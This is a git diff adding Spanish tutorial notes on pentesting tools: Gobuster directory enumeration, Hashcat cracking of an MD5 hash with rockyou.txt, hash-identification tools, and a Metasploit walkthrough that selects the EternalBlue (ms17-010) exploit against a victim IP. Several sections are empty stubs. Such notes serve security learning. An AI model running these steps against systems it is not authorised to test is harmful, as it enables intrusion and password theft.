00000000000..5780a28d1b3 --- /dev/null +++ b/Web/Herramientas_y_Scripts/FFUF.md @@ -0,0 +1,30 @@ +# FUFF + +FFUF es un rápido fuzzer web escrito en Go. Es un método profesional de línea de comandos para el fuzzing web en un servidor web. + +--- +--- + + + + + + + + + + + + + + + +--- +--- + diff --git a/Web/Herramientas_y_Scripts/Gobuster.md b/Web/Herramientas_y_Scripts/Gobuster.md new file mode 100644 index 00000000000..cf222fd2795 --- /dev/null +++ b/Web/Herramientas_y_Scripts/Gobuster.md @@ -0,0 +1,38 @@ +# GoBuster + +## ¿Qué es GoBuster? + +Gobuster es una herramienta open source que permite la identificación de contenido web como directorios o ficheros que pudiesen estar +accesibles u ocultos en un portal web. Esto lo realiza a través de solicitudes http con un diccionario o por fuerza bruta, y detectará +la existencia de las mismas en función del código de respuesta obtenido. + +GoBuster tiene la capacidad de realizar las siguientes enumeraciones: + +* URIs (directorios y ficheros) en portales web. +* Subdominios DNS con soporte para wildcard. +* Nombres de virtual hosts en servidores web. +* Buckets S3 de Amazon públicos. + +## ¿Cómo instala GoBuster? + +En caso de tener una distribución basada en Debian, podéis instalarlo directamente desde la terminal mediante le siguiente comando: + + sudo apt install gobuster + +# Tipos de enumeraciones: + +Como ya indicábamos se pueden hacer 4 tipos de enumeraciones, de `URIs`, `DNS`, `vhosts` y `buckets S3` así que vamos a ver cada una de ellas. + +### Escaneo de Directorios: + + gobuster dir -u http://www.ejemplo.com/ -w /ruta/del/diccionario + +* `dir`: Indica que vamos a enumerar directorios. +* `-u`: Especifica la targeta URL. +* `-w`: Especifica la ruta del diccionario. + +Más información acerca de goBuster --> Link + + + + diff --git a/Web/Herramientas_y_Scripts/Hash-Identifier.md b/Web/Herramientas_y_Scripts/Hash-Identifier.md new file mode 100644 index 00000000000..c3bc329dcce --- /dev/null +++ b/Web/Herramientas_y_Scripts/Hash-Identifier.md @@ -0,0 +1,36 @@ + + +# Hash Identifier + +Hash Identifier es una herramienta basada en Python que le permite identificar rápidamente los tipos de hash utilizados para cifrar contraseñas. +Admite más de 220 tipos de hash únicos mediante expresiones regulares. + +Es capaz de identificar un solo hash, analizar un archivo o leer varios archivos en un directorio e identificar los hash dentro de ellos. +También es capaz de incluir el modo hashcat correspondiente y/o el formato [JohnTheRipper](./Web/Herramientas_y_Scripts/john_the_ripper.html) en su salida. + +--- +--- + + + + + + + + + + + + + + + +--- +--- + diff --git a/Web/Herramientas_y_Scripts/HashCat.md b/Web/Herramientas_y_Scripts/HashCat.md new file mode 100644 index 00000000000..e8ed0646599 --- /dev/null +++ b/Web/Herramientas_y_Scripts/HashCat.md @@ -0,0 +1,87 @@ + + +### HashCat + +# ¿Qué es HashCat? + +Hashcat es un descifrador de contraseñas popular y eficaz ampliamente utilizado tanto por probadores de penetración +como por administradores de sistemas, así como por delincuentes y espías. + +Su funcionamiento básicamente consiste en utilizar diccionarios precalculados, tablas y métodos de fuerza bruta +para tratar de encontrar una forma eficaz y eficiente de descifrar contraseñas. + +Estas contraseñas son procesadas por un algoritmo para crear los hash. Existen diversas clases de algoritmos, pero +lo que tenemos que tener en cuenta es que descifrar un hash es inviable, ya que se necesitaria una gran potencia +computacional y mucho tiempo para tratar de descifrarlo. + +En cambio, HashCat no trata de descifrar el hash, simplemente comprueba las miles de palabras y hashes que tienen +guardados en su base de datos hasta dar con el mismo que le hemos introducido. Este proceso es mucho más rápido ya +que la herramienta cuenta con grandes librerias actualizadas. + +# Instalación: + +Para instalar en cualquier distribución debian: + + sudo apt install hashcat + + + +En Kali Linux y ParrotOS suele venir instalada de forma predeterminada. + +# Ejecución: + +Para ver las distintas optiones y como ejecutar la herramienta: + + hashcat --help + +Para ejecutar la herramienta, debemos especificar en que algoritmo esta basado el hash, esto podemos verlo meidante +la herramientas [HashID](./Web/Herramientas_y_Scripts/HashId.html) o [Hash-Identifier](./Web/Herramientas_y_Scripts/Hash-Identifier.html). + +Crearemos un archivo, por ejemplo 'hash2' y pegamos el número hash que queremos descifrar. + + nano hash2 + + Guardamos (Cntrl + o) y salimos (Cntrl + x). + + Para ejecutar HashCat de forma básica: + + hashcat -a 0 -m 0 hash2 /usr/share/rockyou.txt + + -a : Attack-mode. El 0 representa el modo 'Straight'. + +  + + -m : Hash-type. El 0 representa MD5. Esto lo podemos ver con el comando `hashcat --help`. + +  + + hash2 : Nombre del archivo que contiene el hash que queremos descifrar. + + rockyou.txt : Es un diccionario con más de 14 millones de contraseñas y hashes. + + +--- +--- + + + + + + + + + + + + + + + +--- +--- diff --git a/Web/Herramientas_y_Scripts/HashId.md b/Web/Herramientas_y_Scripts/HashId.md new file mode 100644 index 00000000000..fc0ad2aa822 --- /dev/null +++ b/Web/Herramientas_y_Scripts/HashId.md @@ -0,0 +1,61 @@ + + +Hashid es una herramienbta que nos reportará el tipo de algoritmo más probable que se utilizó en su día para crear +ese hash a partir de una contraseña. + +## Instalación: + +Para instalar la herramienta: + + sudo apt install hashid + +## Ejecución: + +Para ejecutarla: + + hashid [Hash Núm] + + +### Ejemplo: + + + +Según la herramienta HashId el algoritmo de nuestro hash es un MD2, MD5 o MD4. + +Recordar que la aplicación nos reporta los más probables, en ocasiones el primero en reportar no es el +correcto, por tanto, tener en cuenta los dos o tres primeros en orden descendente, ya que el primero que nos +reporta es el que en teoría tiene más probabilidades. + + +--- +--- + + + + + + + + + + + + + + + +--- +--- + + + + + + + diff --git a/Web/Herramientas_y_Scripts/Metasploit.md b/Web/Herramientas_y_Scripts/Metasploit.md new file mode 100644 index 00000000000..1101b1001ed --- /dev/null +++ b/Web/Herramientas_y_Scripts/Metasploit.md @@ -0,0 +1,120 @@ + + +# ¿Qué es Metasploit? + +Metasploit es un proyecto de código abierto para la seguridad informática, que proporciona información acerca de vulnerabilidades de seguridad y ayuda en +tests de penetración `Pentesting` y el desarrollo de firmas para sistemas de detección de intrusos. + +Su subproyecto más conocido es el `Metasploit Framework`, una herramienta para desarrollar y ejecutar exploits contra una máquina remota. + +Inicialmente, fue creado utilizando el lenguaje de programación de scripting Perl aunque actualmente el Metasploit Framework ha sido escrito de nuevo +completamente en el lenguaje Ruby. + +# ¿Como funciona Metasploit? + +Los pasos básicos para la explotación de un sistema que utiliza el Sistema incluyen: + +1. La selección y configuración de un código el cual se va a explotar. El cual entra al sistema objetivo, mediante el aprovechamiento de +bugs. Existen cerca de 900 exploits incluidos para Windows, Unix / Linux y Mac OS X. + +2. Opción para comprobar si el sistema destino es susceptible a los bugs elegidos. + +3. La técnica para codificar el sistema de prevención de intrusiones (IPS) e incluir la carga útil codificada. + +4. Visualización a la hora de ejecutar el exploit. + +Metasploit se ejecuta en Unix (incluyendo Linux y Mac OS X) y en Windows. El Sistema Metasploit se puede extender y es capaz utilizar complementos +en varios idiomas. + +Para elegir un exploit y la carga útil, se necesita un poco de información sobre el sistema objetivo, como la versión del sistema operativo y los +servicios de red instalados. + +Esta información puede ser obtenida con el escaneo de puertos y "OS fingerprinting", puedes obtener esta información +con herramientas como Nmap, NeXpose o Nessus, estos programas, pueden detectar vulnerabilidades del sistema de destino. Metasploit puede importar +los datos de la exploración de vulnerabilidades y comparar las vulnerabilidades identificadas. + +# Instalación: + +Para poder instalar Metasploit en sistemas basados en Debian como Parrot o Kali Linux, primero actualizamos el sistema: + + sudo apt-get update + +Y luego procedemos con la instalación: + + sudo apt-get install metasploit-framework + +Una vez instalado podemos ejecutarlo mediante el comando: + + msfconsole + + + +# Búsqueda de Exploits: + +Metasploit cuenta con una gran recopilación de exploits, para poder buscar el adecuado filtrando por la vulnerabilidad que queremos explotar +simplemente usamos el comando `search` seguido del exploit, la vulnerabilidad o la versión del sistema que vamos a vulnerar. Esto debemos +ejecutarlo una vez hemos ingresado en `msfconsole`: + + search [Información que identifique la vulnerabilidad.] + + + +## Conceptos básicos de configuración: + +Una vez nos muestra las listas (en este ejemplo hemos buscado la vulnerabilidad ms17-010 conocida como EthernalBlue) de los exploits que contienen +la iformación proporcionada. En mi caso, como he especificado la vulnerabilidad `ms17-'010` los resultados son muy concretos. + +Una vez tenemos claro el exploit que deseamos emplear, podemos seleccionarlo mediante `use` seguido o del número de posición en la lista, el directorio o el nombre del mismo exploit. + + use 0 + + + +Tras seleccionar el exploit ya solo faltaría configurarlo. Para ver la configuración predeterminada podemos usar el comando `options`. + + + +Para configurar los parametros simplemente utilizamos `set` seguido del parametro a cambiar. Debemos especificar el `RHOSTS` donde indicamos la Ip +de la víctima, el `LHOST` donde indicaremos nuestra Ip pública (En caso de emplear una VPN debemos poner la Ip de misma.) y finalmente, indicamos +el `LPORT` que es el puerto por el cual nos pondremos en escucha. + + set RHOSTS [Ip Víctima] + + set LHOST [Ip Local] + + set LPORT [Puerto de Escucha] + + + +Finalmente, una vez lo tenemos todo configurado, ejecutamos la herramienta deseada mediante el comando `exploit`: + + exploit + + +--- +--- + + + + + + + + + + + + + + + +--- +--- + + diff --git a/Web/Herramientas_y_Scripts/Nmap.md b/Web/Herramientas_y_Scripts/Nmap.md new file mode 100644 index 00000000000..a0cacd34530 --- /dev/null +++ b/Web/Herramientas_y_Scripts/Nmap.md @@ -0,0 +1,290 @@ +# NMAP + + +* ¿Qué es NMAP? +* Escaneo Básico +* Escaneo Básico Guardando los resultados +* Escaneo exahustivo de Puertos definidos. +* Escaneo Rápido Completo. +* Scripts específicos de Nmap +* Escaneo mediante el script http-enum. +* Escaneo mediante scripts por categorías. +* Escalada de privilegios con Nmap. + + + + +
